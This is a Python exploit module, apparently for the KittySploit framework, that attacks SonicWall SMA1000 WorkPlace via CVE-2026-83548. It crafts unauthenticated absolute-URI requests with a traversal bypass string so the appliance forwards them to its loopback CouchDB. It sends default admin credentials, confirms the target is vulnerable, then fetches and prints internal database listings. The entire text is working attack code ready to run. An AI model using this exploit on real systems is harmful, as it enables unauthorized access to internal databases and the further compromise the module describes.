SonicWall SMA1000 WorkPlace SSRF (CVE-2026-83548)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SonicWall SMA1000 WorkPlace SSRF to CouchDB (CVE-2026-83548)."""

import http.client
import json
import secrets
import ssl

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'SonicWall SMA1000 WorkPlace SSRF (CVE-2026-83548)',
        'description': (
            'Exploits CVE-2026-83548 in SonicWall SMA1000 WorkPlace: unauthenticated '
            'absolute-form OPTIONS requests are forwarded to loopback CouchDB, enabling '
            'internal database access and downstream RCE chains.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-83548'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-83548',
        ],
        'tags': ['sonicwall', 'sma1000', 'ssrf', 'couchdb', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'network_probe'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/sonicwall_sma1000_cve_2026_83548_detect',
                ],
            },
        },
    }

    port = OptPort(443, 'WorkPlace HTTPS port', required=False)
    use_ssl = OptBool(True, 'Use HTTPS', required=False)
    couch_path = OptString('/_all_dbs', 'CouchDB path to request via SSRF', required=False)

    def _origin(self) -> str:
        scheme = 'https' if bool(self.use_ssl) else 'http'
        return f'{scheme}://{self.target}:{int(self.port or 443)}'

    def _ssrf_request(self, method: str, couch_path: str) -> tuple[int, str]:
        token_a = secrets.token_hex(4)
        token_b = secrets.token_hex(4)
        bypass = f'{secrets.token_hex(4)}={secrets.token_hex(4)}/{"../" * 12}__extraweb__'
        absolute_uri = (
            f'http://127.0.0.1:5984/__EXTRAWEB__TRANSLATE/{token_a}\\{token_b}/../..'
            f'{couch_path}?{bypass}'
        )
        host = str(self.target or '')
        port = int(self.port or 443)
        headers = {
            'Host': f'{host}:{port}',
            'Origin': self._origin().rstrip('/'),
            'Access-Control-Request-Method': 'GET',
            'Authorization': 'Basic YWRtaW46YWRtaW4=',
            'Content-Type': 'application/json',
            'Connection': 'close',
        }
        if bool(self.use_ssl):
            ctx = ssl._create_unverified_context()
            conn = http.client.HTTPSConnection(host, port, timeout=int(self.timeout or 20), context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=int(self.timeout or 20))
        conn.request(method, absolute_uri, headers=headers)
        resp = conn.getresponse()
        body = resp.read().decode('utf-8', errors='replace')
        code = int(resp.status or 0)
        conn.close()
        return code, body

    def check(self):
        code, body = self._ssrf_request('OPTIONS', '/_up')
        try:
            payload = json.loads(body)
        except json.JSONDecodeError:
            payload = {}
        if code == 405 and isinstance(payload, dict) and payload.get('error') == 'method_not_allowed':
            return {
                'vulnerable': True,
                'reason': 'WorkPlace SSRF to CouchDB confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': f'SSRF probe failed (HTTP {code})', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        path = str(self.couch_path or '/_all_dbs')
        for method in ('GET', 'OPTIONS'):
            code, body = self._ssrf_request(method, path)
            print_status(f'{method} {path} → HTTP {code} ({len(body)} bytes)')
            if body.strip():
                print_success(body[:2000])
        return True